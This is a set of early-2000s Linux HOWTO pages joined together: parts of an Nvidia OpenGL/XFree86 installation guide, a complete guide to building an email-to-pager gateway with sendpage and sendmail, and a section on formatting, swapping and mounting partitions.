    # support in Qt, you'd have to pass the -no-opengl option to configure.
    cd extensions/opengl/src
    # Check the Makefile and ensure there are not Mesa references.
    make

    ldconfig
        cd ../examples
        # Try compiling and running the examples.

Prev | Home | Next
Install Nvidia OpenGL drivers | Up | Install GLUT 3.7 Distribution (optional)


Install XFree86

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 3. Install Software Next

3.2. Install XFree86

Installation of the software packages requires root login, which can be obtained easily via the superuser/setuser command: su - (see, man su).

The following explains the installation of XFree86 from source in only the most basic terms. Make sure to read all the XFree86 documentation to learn about special options.

If you have a version of XFree86 installed already, you may want to move it or delete it. However, installing over an existing X is generally OK and preserves any programs or libraries you might have installed into the X directories (not that you should really do that):

    cd /usr
    mv X11R6 X11R6-old
    cd /etc
    mv X11 X11-old

    # you may have an X directory in /var also
    cd /var
    mv X11R6 X11R6-old

If these locations are not correct for your distribution of Linux, you will have to look around your filesystem a bit - try looking in /var

    cd /usr/src
    mkdir release
    cd release
    tar -xvzf X420src-1.tgz
    tar -xvzf X420src-2.tgz
    tar -xvzf X420src-3.tgz
    tar -xvzf doctools-1.3.tar.gz

If you are using an old version of XFree86 for some reason, you may want to use the man page packages. XFree 4.2.0 and later has all these man pages already. Skip using the man page packages if you don't need them. Check in /usr/src/release/xc/doc/man to see what all is included with your XFree86.

    # unpack the man pages if they are missing.
    cd /usr/src
    tar -xvzf mangl.tar.Z
    tar -xvzf manglu.tar.Z

A file has to be edited to allow these man pages to compile/install with the rest of the distribution:

    cd /usr/src/release/xc/doc/man/GL
    # Edit the file: Imakefile
    #	SUBDIRS = glx gl glu

When you unpacked the man*.tar.Z files above, two new directories where added: gl glu

    cd /usr/src/release
    cd doctools

    # Having this variable set confuses the sgml docs build.
    # With it unset, the build uses the proper defaults.
    unset $SGML_CATALOG_FILES

    make
    make install

    # Note: doctools installs the perl program sgmlfmt to
    # /usr/local/bin.  It looks for the perl executable
    # at /usr/local/bin/perl.  If perl is installed
    # on your system at /usr/bin/perl, then it will not
    # find perl and the sgml docs build will fail!
    # Make a symlink if needed (or edit the script):
    cd /usr/local/bin
    ln -s /usr/bin/perl perl

    cd /usr/src/release
    cd xc/config/cf
    vi host.def
    # add the following three lines to host.def:
    #	#define HasSgmlFmt YES
    #	#define BuildAllDocs YES
    #	#define HasZlib YES
    # See the README file in doctools and xc/config/cf.
    # HasZlib YES instructs XFree86 not to build and install
    # it's own old zlib.  If you do not have zlib installed
    # (check /usr/lib/libz*), then omit the HasZlib line or
    # go download it and install it first:
    #       http://www.info-zip.org/pub/infozip/zlib/
    # A common zlib conflict occurs when a system already
    # has zlib installed and XFree86 installs it's also.
    # In this case, deleting /usr/X11R6/lib/libz.a fixes
    # the problem.

    cd /usr/src/release/xc
    make World
    # before installing, make sure you have moved
    # or deleted prior installation of X
    # unless you are sure you want to just overwrite
    make install
    make install.man

        # make symlinks
        cd /usr/include
        ln -s ../X11R6/include/DPS DPS
        ln -s ../X11R6/include/GL GL
        ln -s ../X11R6/include/X11 X11
        ln -s ../X11R6/include/bitmaps bitmaps
        cd ..
        ln -s X11R6 X11

Add /usr/X11R6/lib to your /etc/ld.so.conf file, then run the command ldconfig to update /etc/ld.so.cache so the libraries will be visible.

The GL/GLX/GLU HTML documentation is located at /usr/src/release/xc/doc/hardcopy/GL. This directory can be copied as follows:

                cd /usr/src/release/xc/doc/hardcopy
                cp -r GL /usr/X11R6/lib/X11/doc/html
The index.html file in the docs might point to manindex5x.html, but the filename may actually be manindex5.html. Just make a symlink to fix it if needed:

        cd /usr/X11R6/lib/X11/doc/html
        ln -s manindex5.html manindex5x.html

When X is up and running (later), try using the xman program to see that the gl,glx,glu and glut man pages are in section 3. If you have KDE2, khelpcenter allows man-page browsing.

Prev | Home | Next
README and INSTALL files | Up | Install Mesa


Introduction

Nvidia OpenGL Configuration mini-HOWTO
Prev Next

Chapter 1. Introduction

The installation of the NVIDIA drivers under Linux can be quite easy in itself. However, there is a little more to it sometimes than just unpacking the driver files.

Since certain versions of the NVIDIA drivers require upgrading your XFree86 to work, I've included some material on installing XFree86. If upgrading XFree86 is necessary for you, you can read this document but also carefully read the information at XFree86.org.

The NVIDIA driver is only concerned with installing the OpenGL libGL library. But since there is more to a complete OpenGL installation than just libGL, I cover the installation of defacto standard OpenGL add-on libraries like GL Utility (libGLU) and GL Utility Toolkit (libglut).

Going a little beyond the basics, I cover the installation of some other libraries you might want to consider: TrollTech's Qt C++ Library and the Java language Java 3D API.

Prev | Home | Next
Contributors |  | Download the software packages


New Versions of this Document

The latest version of this mini-HOWTO can be found at:

http://www.linuxdoc.org/HOWTO/mini/Nvidia-OpenGL-Configuration/

Prev | Home | Next
Nvidia OpenGL Configuration mini-HOWTO |  | Copyright and Licenses


Linux Kernel >= 2.2.12 Required

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 2. Download the software packages Next

2.1. Linux Kernel >= 2.2.12 Required

First of all, the OpenGL drivers for the Nvidia cards currently require a system with Linux kernel 2.2.12 or later. Recent releases of kernel 2.4.x are supported and are recommended since most new development happens in the 2.4 kernels. If you don't have it, then you will have to upgrade your system's Linux kernel; see The Linux Kernel HOWTO for details.

The Linux kernel can be downloaded at: http://www.kernel.org/

Prev | Home | Next
Download the software packages | Up | XFree86 4.0 or later


XFree86 4.0 or later

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 2. Download the software packages Next

2.2. XFree86 4.0 or later

The current version of XFree86 is 4.2.0 as of this writing. It can be downloaded as source or binaries. It is generally recommended to download the binaries these days. See http://www.XFree86.org for the lastest official information on installation of XFree86. Later in this document, I describe only the very basic procedure for compiling and installing from the source.

XFree86 source code comes in three files:

  • X420src-1.tgz

  • X420src-2.tgz

  • X420src-3.tgz

  • doctools-1.3.tgz

  • utils.tgz

Doctools is the DocBook SGML package used by XFree86 to prepare the X documentation. Utils contains the source for the "extract" program, which is a modified GNU tar with gzip support. Extract is only important if you are installing a binary distribution of XFree86 on top of your existing XFree86 to upgrade it. Extract unlinks old existing files that are being extracted/updated instead of skipping them. Extract comes with the binary distributions so utils.tgz is only important for making your own binary distribution.

You can download XFree86 from its ftp site: ftp://ftp.xfree86.org/

XFree86 includes GLX, the OpenGL X interface functions. Each window system has to provide the platform-specific interfaces between OpenGL and the window system for mapping a GL rendering context to a window system widget. Recent versions of XFree86, like version 4.2.0, now also include libGLU and the OpenGL manual pages.

Prev | Home | Next
Linux Kernel >= 2.2.12 Required | Up | OpenGL man pages


OpenGL man pages

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 2. Download the software packages Next

2.3. OpenGL man pages

XFree86 prior to version 4.2.0 comes with only the GLX and (maybe) GLU man pages. If you wanted a full set of OpenGL man pages, you had to get them yourself.

  • mangl.tar.Z

  • manglu.tar.Z

  • manglx.tar.Z (you don't need this one)

If you are using XFree86 4.2.0 or later, you should already have the manglx OpenGL interface extension man pages, mangl OpenGL library man pages, and the manglu GL Utility library pages too. If you are using XFree86 prior to 4.2.0, you'll have to see what you have included with your XFree86 version and get some of the packages above. As time goes on, XFree86 has been including more of these manual pages and other standard OpenGL add-on libraries.

These packages can be found at: ftp://ftp.sgi.com/sgi/opengl/doc/

These man page packages are in a format ready to be unpacked into the XFree86 source distributions (if needed/missing), see below.

Prev | Home | Next
XFree86 4.0 or later | Up | Mesa 3D


Mesa 3D

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 2. Download the software packages Next

2.4. Mesa 3D

  • MesaLib-4.0.1.tar.gz

  • MesaDemos-4.0.1.tar.gz

http://mesa3d.sourceforge.net/

Mesa is the library that provides the foundation for the 3D support included in XFree86. Originally, Mesa included a software-only libGL that only claims to be "similar to that of OpenGL." Mesa now also supports hardware acceleration for a growing number of cards (see their site for details). The Mesa package also includes an implementation of the libGLU Utility library and the libglut GL Utility Toolkit library. Some versions of XFree86 only included the libGL from Mesa and some header files. With recent releases of XFree86, like 4.2.0, more has been added from Mesa, like libGLU and the manual pages. libglut may still be missing from your XFree86 distribution, so you may still like to get it from the Mesa distribution or from the GLUT distribution directly.

As shipped, XFree86 will support software OpenGL rendering (painfully slow) using the Mesa libGL. It may also support hardware accelerated OpenGL for some cards that have a fully open source driver. But for NVIDIA, the subject of this document, there is no fully open sourced hardware accelerated OpenGL driver included in XFree86. The NVIDIA GLX/OpenGL driver we download from NVIDIA.com is a binary, closed source driver that is a drop-in hardware accelerated replacement for the Mesa libGL.so file.

libGLU is a library built on top of libGL to provide some higher-level functions for applications. OpenGL itself, libGL, is considered a low-level library. GLU is a standard part of most OpenGL installations and many programs make use of it.

MesaDemos provides many OpenGL demo programs and, more importantly, the GL Utility Toolkit (libglut) library. GLUT provides a window system independent interface between OpenGL and any supported window system. For instance, on the X Window System, it hides the details of using glX functions to setup a window. Programmers can write code once and can compile it to work on MS Windows or X, etc provided that a GLUT library is available on the target platform. Like libGLU, libglut is a standard part of most OpenGL installations and is required by many programs.

While GLUT is bundled with MesaDemos, it is also available as separate packages:

glut-3.7.tar.gz glut_data-3.7.tar.gz

from http://www.opengl.org/developers/documentation/glut/index.html

You may use either the GLUT included with MesaDemos (preferred and easier) or the GLUT from its project website. Don't install both! It's recommended at this time to go with the GLUT packaged with MesaDemos, but instructions on how to install the other GLUT are still provided in the next section as an option. Note that MesaDemos does not include the glut manpages, so you may want to download the project GLUT package just to install its man pages.

Prev | Home | Next
OpenGL man pages | Up | Qt


Qt

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 2. Download the software packages Next

2.5. Qt

qt-x11-2.2.4.tar.gz or later version

http://www.troll.no/

Qt is a cross-platform GUI library that makes it easy to create X applications with standard GUI elements (widgets) like menubars, scollbars, dropdown lists, checkboxes, buttons, multiple document interface, and many other GUI things. Using Qt, a program can be compiled for both MS Windows and X without changing any code. Its a very popular GUI library and is used to create the core libraries of KDE (http://www.kde.org/).

Qt has functions (previously as an extension in $QTDIR/extensions/opengl) for OpenGL that provides for creating OpenGL rendering contexts in Qt windows. This provides some alternative to both GLUT and using the glX functions directly, plus the added benefit of full access to the excellent Qt widgets and cross-platform portability.

This is useful if you want to compile or develop programs based on Qt (e.g., KDE2 and its apps).

Prev | Home | Next
Mesa 3D | Up | NVIDIA drivers (Mesa libGL replacement)


NVIDIA drivers (Mesa libGL replacement)

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 2. Download the software packages Next

2.6. NVIDIA drivers (Mesa libGL replacement)

  • NVIDIA_kernel-1.0-2314.tar.gz

  • NVIDIA_GLX-1.0-2313.tar.gz

Note that XFree86 4.0.1 and later is required with driver 0.9-6 and later. If you have XFree86 4.0.0, then you'll have to download the older 0.9-4 version. You should try to use the lastest XFree86 and NVIDIA drivers.

Download the drivers at: http://www.nvidia.com/

Tip

See the updated FAQ at Nvidia.com while you are downloading. It has important installation information not in this HOWTO.

The NVIDIA drivers provide a kernel driver: /lib/modules/kernel.version.number/video/NVdriver and libGL.so and libGLcore.so files that go into /usr/lib/ to replace and Mesa ones that might be in there. libGL.so is OpenGL. These files are Nvidia's own hardware accelerated OpenGL implementation.

Prev | Home | Next
Qt | Up | Java 2 SDK, Java 3D extension, and Java PlugIn for Netscape (optional)


Java 2 SDK, Java 3D extension, and Java PlugIn for Netscape (optional)

Nvidia OpenGL Configuration mini-HOWTO
Prev Chapter 2. Download the software packages Next

2.7. Java 2 SDK, Java 3D extension, and Java PlugIn for Netscape (optional)

The following file is available at http://www.blackdown.org/:

  • java3d-1.2.1_01-fcs-linux-i386-sdk.tar.bz2

Note that to install these Java files, your system needs to have glibc 2.1.3 or later. To check your version of glibc:

        ls -l /lib/libc*
On rpm-based systems (like RedHat and Mandrake), you can try:

        rpm -q glibc

To use any Java on your system, you must also install the Java Software Development Kit (JSDK) 1.3.1 or later from java.sun.com. The Blackdown version of the JSDK will also work.

The Java 3D media extension contains many 3D demo programs/applets and takes advantage of the OpenGL hardware acceleration on the system. The Java 3D API uses the OpenGL API internally. The demos run as normal Java applications and also as applets inside Netscape via the Java PlugIn, or inside KDE's Konqueror by directly using the Java runtime (JRE).

Prev | Home | Next
NVIDIA drivers (Mesa libGL replacement) | Up | Install Software


The Linux Alphanumeric Pager Gateway Mini-HOWTO

Tanmoy Prasad

Expert Software Consultants Ltd.

C -17 Almora Bhawan
New Delhi
110 049
INDIA
Lilytanmoy@id.eth.net

Revision History
Revision 1.0 25 July 2001 Revised by: Tanmoy Prasad
Originally Drafted By Chris Snell, Jun 23 17:55:14 MDT 1996

This is Mini How-To, which discusses the compilation and installation of e-mail to Pager Gateway.

PREFACE & DISCLAIMER:

This document was lying un-maintained. As I am also working in similar field so I, decided to maintain this document. Originally Mr. Chris Snell wrote this document. Anybody who wants to refer to the older document can find it at the Pager FTP Site://ftp.cs.unm.edu/pub/chris/paging"

In spirit, this document is same as what Chris Snell wrote. I have only made minor modifications with the code to make it work with latest Kernel Version. I have mainly tried on Redhat Linux 6.0 , Kernel version 2.2.5 and Madrake Linux 7.2 and Kernel version 2.2.17.

If you blow up your computer/pager/modem or ruin your company network trying to set this up, don't blame me. Most likely, you won't mess up anything but I should warn you that sendmail is a tricky thing to play with and you will definitely be playing with it if you follow this document.

PURPOSE:

This mini-HOWTO will describe how to set up an Alphanumeric Paging Gateway on any linux machine. Your gateway will be able to send messages originating from both the World Wide Web and the Internet e-mail system to your alphanumeric pager. This is especially convenient, because no special skills are required for someone to send a message to your pager. All they must be able to do is use e-mail or the World Wide Web.

**SPECIAL NOTE: **

This document does not cover the setup of paging gateways, which are intended to send messages to non-alphanumeric (i.e. numbers-only) pagers or voice pagers. You'll need to look elsewhere for that information.

REQUIREMENTS:

  • One or more alphanumeric pagers (see the ABOUT ALPHANUMERIC PAGERS section)

  • A machine running linux

  • A working modem (manual recommended!)

  • A telephone line

  • An Internet connection (if you wish to use the WWW interface and the net-wide e-mail interface)

  • Compiler tools (gcc, make, etc. and some basic knowledge of their use.)

  • The sendmail electronic mail handler (you probably have this)

  • - a working httpd (web server) if you want to create a WWW interface

ABOUT ALPHANUMERIC PAGERS:

Alphanumeric pagers are available from most reputable paging companies. You can get one at a very reasonable cost. Nowadays it comes bundled with the Pager subscription. Anyway cost varies from country to country and you can check with your Pager service provider.

Here are some things to look for when you go shopping for your pager:

  • Is this a name brand (i.e. Motorola or the like) pager?

  • *MOST IMPORTANT* Does this pager support paging via a dial-up line provided by your pager company? (See THE DIALUP PAGING LINE section).

  • Does its memory have enough room for the pages you wish to receive?

  • How reputable is the company? (See THE DIALUP PAGING LINE section)

I don't work for any pager manufacturers. I agree with Chris on recommending the Motorola line of pagers. As per Chris Snell " I own one myself and will testify to their reliability and durability. In fact, mine has been dropped onto the concrete on many occasions and did not sustain so much as a chipped case." You can find this line of pagers on Motorola's web site at: URL="http://www.mot.com/MIMS/MSPG/Products/Alpha/".

I have used one provided by my pager company along with subscription. I know it is not Motorola but in last one year I have to get it replaced once. So be sure of the brand and quality of the pager you buy.

THE DIALUP PAGING LINE

In order for your gateway to work, we need a way to deliver the messages to your paging company, which encodes them and transmits them over the air to your pager. This is done via a dial-up (modem) connection with your paging company. Without this connection, you cannot setup a paging gateway. Therefore, it is very important that your paging company have such a dial-up line. Unfortunately, many paging companies either do not have such a dial-up line or do not know about the line they have. When inquiring with a paging company about this line, I found it helpful to ask if they could provide "computer software to send an alphanumeric page with". If they make available such software, you can bet that they make the dial-up line available that is necessary to use it.

SPECIFICS ON THE DIALUP LINE

The dial-up line is simply a modem on a remote computer (or possibly some kind of specialized box). The modem usually connects at 33.6/56.6 KBPS but in case of modem dial-up line of paging companies it work at 300-1200bps. Some may provide connection using v.22b at speeds up to 2400bps. Once the connection is made, your computer sends the page to the Paging central by using a protocol known as TAP (formerly known as IXO). The Paging Central finally sends the message to the pager. For running the Paging gateway, you do not need to know the details of this protocol, but if you are interested, check out the following document on following ftp site:URL="ftp://ftp.cs.unm.edu/pub/chris/paging/ixo.txt"

HOW YOUR GATEWAY WILL WORK

Before we proceed, I am providing a brief explanation of how the e-mail->pager gateway will work. The WWW gateway is similar and will be explained later.

  1. Someone sends a message intended for your pager via e-mail to a special address on your linux machine.

  2. Your machine, using sendmail, accepts the message and routes it to a filter program, which strips the message of its header and parses out important information like the sender's name and e-mail address and the subject of the message. This filter also strips the message of any .signature lines so that they do not clog your pager with unimportant information.

  3. The paging filter passes the message onwards to the "sendpage" paging software, which queues it for delivery.

  4. Sendpage then dials your paging company's dial-up line and (using TAP) sends the message to the Paging Central.

  5. Paging Central of your paging company then beams the message to your pager over the radio waves.

BEGINNING THE SETUP

The setup of the Pager gateway consists of four parts:

  • Setting up sendpage

  • (Optionally) Getting a special DNS entry added for your paging gateway

  • Setting up linux to handle multiple IP addresses

  • Setting up sendmail to handle the message routing

  • Setting up the World Wide Web interface

GETTING THE SOFTWARE

Every piece of software necessary to set up this product can be obtained from the site, ftp://ftp.cs.unm.edu/pub/chris/paging. I will try to keep these files at some other alternate sites. In near future I will try to package this as an RPM so that installation becomes easy. Next revision of this document may see that change.

SENDPAGE SETUP

Sendpage is the most important component of your paging gateway. To get anywhere in this project, you will need to obtain this software and compile it on your machine. The sendpage software can be obtained via ftp at://ftp.net.ohio-state.edu/pub/pagers/sendpage7a.tar.Z" or from following machine: ftp://ftp.cs.unm.edu/pub/chris/paging/sendpage/sendpage7a.tar.Z".

Create a "paging" subdirectory on your machine. Fetch this software and unpack it using the command "tar zxvf" in the paging subdirectory created.

At this point, I would strongly suggest that you read all the configuration information and README and INSTALL files in the sendpage package. However, ignore all the discussions on the setup of sendmail, instead, rely on the procedure provided in the document. Follow the instructions in the INSTALL file for compiling sendpage.

Here are a few notes about the settings in the sendpage.h file, which you will need to edit:

  • Make sure you have the "#define ARSYSTEM_NOTIFIER" line commented out (using "/*" and "*/") unless you own the commercial Remedy system monitor package.

  • Following the ARSYSTEM_NOTIFIER line, there are a few Linux (POSIX) specific lines that need to be defined:

    • #define POSIX_SIGNALS

    • #define POSIX_OPEN

  • For the modem definition, I recommend using:#define MODEM_DEV "/dev/modem" or "/dev/cua0" [com 1] or "/dev/cua1" [com 2]. In new Kernel version it is better to use "/dev/ttyS0" or /dev/ttyS1" etc.... If you have new version then use use the later one else you use the previous one.

  • For the modem init, I use the simple string and rely on NVRAM settings instead:#define MODEM_INIT ATEVXH.

  • I use RTS/CTS flow control:#define C_FLAG CTRSCTS|HUPCL.

  • and DTR toggle#define TOGGLE_DTR

*** If you are interested, my sendpage.cf is available in it's entirety from the following ftp site: ftp://ftp.cs.unm.edu/pub/chris/paging/sendpage/sendpage.h.example".

If your Linux kernel version is 2.2.x then do following changes, in following files:

  1. client.c

  2. config.c

  3. deamon.c

  4. deliver.c

  5. sendpage.c

  6. verify.c

Instead of #include DB.h put #include DB185.H DB185.H

CONFIGURING YOUR MODEM

I use a D-Link DFM-560 E which seems to work fine with sendpage. With other modems, your milage may vary (possibly for the better). Although your paging company's modem (referred to by sendpage as "Paging Central") could very well be different from mine, you may want to try this setup to see if it works. You should have your modem manual handy as a reference for the proper init string. Here is what I have set:

  • Modem set to v.22bis 2400/1200 protocol (*no* auto-negotiate)

  • Serial port at 1200bps

  • Your init string sendpage.h should take care of:- Numeric (non-text) responses [these are must!] i.e.:

    • 0 for "OK"

    • 5 for "CONNECT 1200"

    • 7 for "BUSY"

For sendpage to work, it must be able to access the modem. This requires read/write permissions to the modem device. On my system, sendpage is run with set-uid to the username "sendpage". In my /etc/group file, I have a group called "modem" of which the user "sendpage" is a member. The device file for my modem (/dev/ttyS1) is owned by user "root" and group "modem". It is readable and writeable by both the owner and the group (chown root.modem /dev/cua1 ; chmod ug+w /dev/cua1).

SENDPAGE MAKEFILE SETUP

Here are the build options I use for Linux:

  • CC = gcc

  • CFLAGS = -DLINUX -O2 -m486 -I/usr/include

  • LIBS = -ldb -lbsd

*** If you are interested, Makefile is available in it's entirety at the following ftp site:ftp://ftp.cs.unm.edu/pub/chris/paging/sendpage/Makefile.example".

CONTINUING THE SETUP

Hopefully, you were able to get sendpage to compile correctly on the first try. Now you must set up sendpage for the initial testing. Following the INSTALL file's instructions, you will set up the queue directory and begin setting up the sendpage.cf file (I keep mine in /etc).

A few notes on setting up the /etc/sendpage.cf:

  • I had to comment out (using "#") the entire trMap section for "both", leaving only the trMap section for "std" in order to get sendpage to work.

  • My "Global Options" section looks like:

    • global maxMsgSize=480 maxMsgSplit=5 syslogFacility=LOG_MAIL\

    • timeFormat=dayFirst replyToSender=no\

    • emailFrom="sendpage@e-expertsoft.com (UNM Pager Gateway)"

  • My "Paging Central Definition" section looks like:

    • pc name=RPGPaging phone=9632567892 speed=1200 parity=even\

    • databits=7 stopbits=1 protocol=pet-pg1 msgretries=10\

    • answertime=25 modemdial=atdt dialer=internal\

    • modeminit=atevxh modemdev=/dev/ttyS1trMap=std\

    • emailFrom="sendpage@e-expertsoft.com (UNM Pager Gateway)"

  • Here is my "Aliases" section. The 'tanmoyauto' definition does not send an e-mail reply when a page is sent and is used for hourly system stats that are sent to my page.

    • alias tanmoy 9632137604.RPGPaging trMap=std

    • alias tanmoyauto 9632137604.RPGPaging emailReply=no msgIncTime=yes trMap=std

    • alias expert 9632137690.RPGPaging trMap=std

  • And finally, the "Profile" section:

    • profile default emailReplyErr=yes emailReply=yes msgIncSender=yes\ msgIncDate=yes msgIncTime=yes

    • profile numeric emailReplyErr=yes emailReply=yes msgIncSender=no\ msgIncDate=no msgIncTime=no

    • set profile=default.

*** If you are interested, the sendpage.cf is available in it's entirety from the following ftp site:ftp://ftp.cs.unm.edu/pub/chris/paging/sendpage/sendpage.cf.example".

MOVING RIGHT ALONG...

At this point, I am assuming you have been able to at least send a page to your pager using sendpage's command-line interface. If you haven't been able to do this, re-read the INSTALL file and re-check your sendpage.h and sendpage.cf. If all else fails, do mail me.

SETTING UP A SPECIAL HOSTNAME

If you want to have a special virtual hostname for your paging gateway (i.e. pager.yourcompany.com), there are a few steps that you will need to follow. If you do not want to (or cannot) set up an extra virtual hostname, skip ahead to the section entitled "SETTING UP /etc/aliases".

Setting up a separate UP address (as described below) is not necessary if all you need is a mail->pager gateway [no www]. If this is all you need, follow the instructions found at: ftp://ftp.cs.unm.edu/pub/chris/paging/Sendmail-and-virtual-domains.txtto set up a MX entry for your paging hostname. When you've done this, skip ahead to the "SETTING UP SENDMAIL" section.

The first thing you need to do to set up your new hostname is to ask your network administrator to add a new IP address and hostname to the DNS tables. I would recommend using the hostname "pager" but it really doesn't matter. Now that you have your new address and the associated IP number, you need to add it to your machine. This will be done in one of two ways, depending on the type of your linux distribution.

If you use the Linux kernel 1.2.xx series. Get the IP aliasing patches from: ftp://ftp.cs.unm.edu/pub/chris/paging/ip_alias and follow the instructions in the file README.alias, substituting your newly-assigned IP address and gateway address for the ones mentioned in this README file.

* If you are using Linux kernel 2.0.xx and above, Enable the following options for your kernel and recompile: Network aliasing IP: aliasing support. In your startup scripts (/etc/rc.d/rc.inet1 for Slackware users, /etc/sysconfig/network-scripts/ifup-eth for RedHat users) add the following lines:

  • ifconfig eth0:0 191.59.16.224

  • route add -host 191.59.16.224 dev eth0:0

  • replacing 191.59.16.224 with your new IP address

SETTING UP SENDMAIL

We need to make some aliases so that sendmail can distinguish between a message sent to you@somemachine.dink.com and you@pager.dink.com, when "somemachine" and "pager" are actually the same machine. To do this, we need to set up a sendmail alias database. The following information is based upon the info I got from Sendmail Link .

*** Create a file, /etc/domainalias with translations from the pager hostname to the "real" hostname. On my machine (mahavir), my translation file looks like this: <tanmoy@pager.com> <esc-pager@mahavir.esc>.<intest@pager.com> <guest-pager@mahavir.esc.in>. That's it for that file. We are almost done now. I hope you have a sendmail binary that was compiled with the following switches: -DNDBM -DNEWDB. These are to enable the database-handling code needed to read the domainalias.db file that we are about to create.

Make sure that you have the makemap utility (part of the sendmail distribution). Compile it like this if you haven't already: (This may not be necessary, check to see if hash, dbm, or btree are supported or not, check next step on how to do this. )

  • # cd /usr/src/sendmail-8.7.x/makemap

  • # rm Makefile makemap

  • # make CFLAGS='-m486 -O2 -I../src -DNDBM -DNEWDB' LDFLAGS='-s

  • -lgdbm -ldb' makemap

  • # cp makemap /usr/bin

Add a line to your /etc/sendmail.cf to make sendmail accept mail for the new virtual hostname: Cw pager.yourdomain.com Compile /etc/domainaliases into a database format: makemap btree domainaliases.db < domainalisaes

Add another line to your /etc/sendmail.cf to tell sendmail about the domainaliases.db translation file which we just compiled. Kdomainaliases btree/etc/domainaliases.db . Now for the rule-set, make sure you type it exactly into/etc/sendmail.cf..

The entries are separated by a TAB field NOT SPACES!!!! These are to be inserted INSIDE the S98 Ruleset.

PRE 8.7.1 R$+ < @ $+ . > $: $1 < @ $2 > . R$+ < @ $+ . > $* $: (domainaliases $1@$2 $: $1 < @ $2 > $3 $) R$+ < @ $+ . > $* $: (domainaliases $2 $: $1 < @ $2 > $3 $) R$+ < @ $+ > . $: $1 < @ $2 . >

POST 8.7.1 R$+< $+. > $1< $2 > R$+< $+ > $: < > $(domainaliases $1$2 $) R< > $+ @ $* $: < $1 > $(domainaliases * @ $2 $) R< $+ > * $* $: < > $1 $2 R< > $* $: $>3 $1

Now you must kill your sendmail daemon and restart it for the new configurations to take effect.

  • /sbin/killall sendmail

  • sendmail -bd -q15m

Finally, test your new configuration to make sure you did it correctly, Check /var/log/maillog for any possible error messages.

  • sevak~> sendmail -bt

  • ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)

Enter <Ruleset> <Address> >0 tanmoy@PAGER.com

  • rewrite: ruleset 0 input: tanmoy @ pager . com

  • rewrite: ruleset 98 input: tanmoy @ pager . com

  • rewrite: ruleset 98 returns: tanmoy @ pager . com

  • rewrite: ruleset 97 input: tanmoy @ pager . com

  • rewrite: ruleset 3 input: tanmoy @ pager . com

  • rewrite: ruleset 96 input: tanmoy < @ pager . com>

  • rewrite: ruleset 96 returns: tanmoy < @ pager . com. >

  • rewrite: ruleset 3 returns: tanmoy < @ pager . com. >

  • rewrite: ruleset 0 input: tanmoy < @ pager . com. >

  • rewrite: ruleset 98 input: tanmoy < @ pager . com. >

  • rewrite: ruleset 3 input: esc-pager @ sevak . esc . in

  • rewrite: ruleset 96 input: esc-pager < @ sevak .esc . in >

  • rewrite: ruleset 96 returns: esc-pager < @ sevak . esc . in . >

  • rewrite: ruleset 3 returns: esc-pager < @ sevak . esc. in . >

  • rewrite: ruleset 98 returns: esc-pager < @ sevak . esc .in . >

  • rewrite: ruleset 0 returns: $# local $: @ esc-pager

  • rewrite: ruleset 97 returns: $# local $: @ esc-pager

  • rewrite: ruleset 0 returns: $# local $: @ esc-pager

*** If this didn't work or you just don't understand, consult your local sendmail expert.

SETTING UP /etc/aliases

Now you need to set up your /etc/aliases file to handle the piping of the e-mail message to the filter which sends the message to sendpage. In the previous section, I demonstrated how I made tanmoy@pager.com point to pager@mahavir.esc.in. To make this work, I had to add a line to my /etc/aliases file to send all mail to esc-pager to the filter. That line is:esc-pager: "|/usr/local/bin/sendpagefilter tanmoy"^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^This is the This is the full path to the This is a username thatalias that paging filter. (see below) you defined in youryou created sendpage.cf

The filter used in this example can be obtained at: ftp://ftp.cs.unm.edu/pub/chris/paging/paging_filter.tar.gz. Read the instructions in the included README file, compile the filter, and place it in a directory such as /usr/local/bin.You must now run the 'newaliases' command to make sendmail re-read /etc/aliases for the current configurations to take effect.With this complete, your paging gateway should be working. Try sending mail first to the alias which you created in /etc/aliases (in my example, esc-pager). If this works, try sending mail to your virtual mail alias which you created in the previous section (in my example, tanmoy@pager.com). If this works, you are done!!!

THE WWW GATEWAY

I am not going to write much here. I'm assuming that you have some HTML skills and have used CGI scripts before. Your gateway will use a CGI script to communicate between the web browser and the sendpage program. An example script and HTML page available at: URL="ftp://ftp.cs.unm.edu/pub/chris/paging/example_www_gateway.tar.gz".

This script utilizes two additional programs, uncgi (to translate CGI data into shell environment variables for easy CGI programming) and d2utxt to strip out the ^M characters in a page message that make sendpage choke. These utilities are available in the same directory on the ftp site that the example HTML is found in. Read the instructions that come with them to compile them. This should be easy.

If you are using Apache web server then visit URL=" http://www.apache.org" or refer to WWW-HOWTO for more information to set the web server. In CGI script, i.e., in send_a_page file make appropriate changes in the modem number of your Paging Central and your Pager number.

GETTING MORE HELP

You can mail me at <Lilytanmoy@id.eth.net>. Though I'm a busy employee but still you can ask for help. I hope i will be able to solve your problem. Still I cannot guarantee to solve your problem.

Tanmoy Prasad<Lilytanmoy@id.eth.net>
Expert Software Consultants Ltd.
C -17 Almora Bhawan
New Delhi
110 049
INDIA


Formating Partitions

Linux Partition HOWTO
Prev

7. Formating Partitions

At the shell prompt, I begin making the file systems on my partitions. Continuing with the example in Section 5.1.3, this is:
# mke2fs /dev/sda1
I need to do this for each of my partitions, but not for /dev/sda4 (my extended partition). Linux supports types of file systems other than ext2. You can find out what kinds your kernel supports by looking in: /usr/src/linux/include/linux/fs.h

The most common file systems can be made with programs in /sbin that start with "mk" like mkfs.msdos and mke2fs.

7.1. Activating Swap Space

To set up a swap partition:
# mkswap -f /dev/hda5
To activate the swap area:
# swapon  /dev/hda5
Normally, the swap area is activated by the initialization scripts at boot time.

7.2. Mounting Partitions

Mounting a partition means attaching it to the linux file system. To mount a linux partition:
# mount -t ext2 /dev/sda1 /opt

-t ext2

File system type. Other types you are likely to use are:

  • msdos (DOS)

  • hfs (mac)

  • iso9660 (CDROM)

  • nfs (network file system)

/dev/sda1

Device name. Other device names you are likely to use:

  • /dev/hdb2 (second partition in second IDE drive)

  • /dev/fd0 (floppy drive A)

  • /dev/cdrom (CDROM)

/opt

mount point. This is where you want to "see" your partition. When you type ls /opt, you can see what is in /dev/sda1. If there are already some directories and/or files under /opt, they will be invisible after this mount command.

